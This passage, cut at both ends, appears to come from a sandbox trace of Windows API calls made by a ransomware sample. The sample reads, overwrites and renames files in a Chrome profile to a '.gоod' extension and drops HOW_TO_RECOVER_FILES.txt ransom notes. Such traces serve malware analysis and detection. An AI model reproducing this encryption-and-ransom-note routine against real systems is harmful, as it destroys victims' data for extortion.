lpOldMode=0x208ed3f0) returned 1 [0211.751] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\lock.gоod")) returned 1 [0211.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG", lpFilePart=0x0) returned 0x7b [0211.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0211.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), fInfoLevelId=0x0, lpFileInformation=0x35dcb60 | out: lpFileInformation=0x35dcb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb6)) returned 1 [0211.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0211.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG", lpFilePart=0x0) returned 0x7b [0211.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0211.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0211.754] GetFileType (hFile=0x834) returned 0x1 [0211.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0211.754] GetFileType (hFile=0x834) returned 0x1 [0211.754] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0xb6 [0211.754] ReadFile (in: hFile=0x834, lpBuffer=0x35dcf60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x35dcf60*, lpNumberOfBytesRead=0x208ed3f8*=0xb6, lpOverlapped=0x0) returned 1 [0211.755] CloseHandle (hObject=0x834) returned 1 [0212.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0212.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0212.933] GetFileType (hFile=0x824) returned 0x1 [0212.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0212.933] GetFileType (hFile=0x824) returned 0x1 [0212.933] WriteFile (in: hFile=0x824, lpBuffer=0x34bc898*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x34bc898*, lpNumberOfBytesWritten=0x208ed308*=0xc0, lpOverlapped=0x0) returned 1 [0212.934] CloseHandle (hObject=0x824) returned 1 [0212.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG", lpFilePart=0x0) returned 0x7b [0212.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG.gоod", lpFilePart=0x0) returned 0x80 [0212.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0212.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7b218dff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0212.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0212.935] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOG.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\log.gоod")) returned 1 [0212.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001", lpFilePart=0x0) returned 0x87 [0212.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0212.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x34bdc20 | out: lpFileInformation=0x34bdc20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead4a1af, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1 [0212.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0212.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001", lpFilePart=0x0) returned 0x87 [0212.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0212.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0212.936] GetFileType (hFile=0x824) returned 0x1 [0212.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0212.936] GetFileType (hFile=0x824) returned 0x1 [0212.936] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x29 [0212.937] ReadFile (in: hFile=0x824, lpBuffer=0x34bdff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x34bdff8*, lpNumberOfBytesRead=0x208ed3f8*=0x29, lpOverlapped=0x0) returned 1 [0213.441] CloseHandle (hObject=0x824) returned 1 [0213.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0213.472] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0213.474] GetFileType (hFile=0x824) returned 0x1 [0213.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0213.474] GetFileType (hFile=0x824) returned 0x1 [0213.474] WriteFile (in: hFile=0x824, lpBuffer=0x3500a28*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3500a28*, lpNumberOfBytesWritten=0x208ed308*=0x30, lpOverlapped=0x0) returned 1 [0213.475] CloseHandle (hObject=0x824) returned 1 [0213.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001", lpFilePart=0x0) returned 0x87 [0213.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001.gоod", lpFilePart=0x0) returned 0x8c [0213.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0213.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7b750057, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0213.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0213.475] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001.gоod")) returned 1 [0213.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0213.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0213.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0214.289] GetFileType (hFile=0x82c) returned 0x1 [0214.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0214.289] GetFileType (hFile=0x82c) returned 0x1 [0214.773] WriteFile (in: hFile=0x82c, lpBuffer=0x35d7de8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x35d7de8*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0214.774] CloseHandle (hObject=0x82c) returned 1 [0214.774] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6f [0214.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0214.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0214.775] GetFileType (hFile=0x82c) returned 0x1 [0214.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0214.775] GetFileType (hFile=0x82c) returned 0x1 [0214.775] WriteFile (in: hFile=0x82c, lpBuffer=0x3625470*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x3625470*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0214.776] CloseHandle (hObject=0x82c) returned 1 [0214.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0214.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage", lpFilePart=0x0) returned 0x4b [0214.777] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb024218, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb024218, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.778] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb024218, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb024218, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.778] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb1be4f3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="leveldb", cAlternateFileName="")) returned 1 [0214.778] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb1be4f3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="leveldb", cAlternateFileName="")) returned 0 [0214.778] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0214.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0214.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0214.778] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage", lpFilePart=0x0) returned 0x4b [0214.778] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb024218, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb024218, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.778] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb024218, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb024218, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb1be4f3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="leveldb", cAlternateFileName="")) returned 1 [0214.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.779] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0214.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0214.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0214.779] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb", lpFilePart=0x0) returned 0x53 [0214.779] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb1be4f3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb1be4f3, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1be4f3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb1be4f3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf8a10d88, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x16cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0214.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb02903a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0214.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb026922, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb026922, 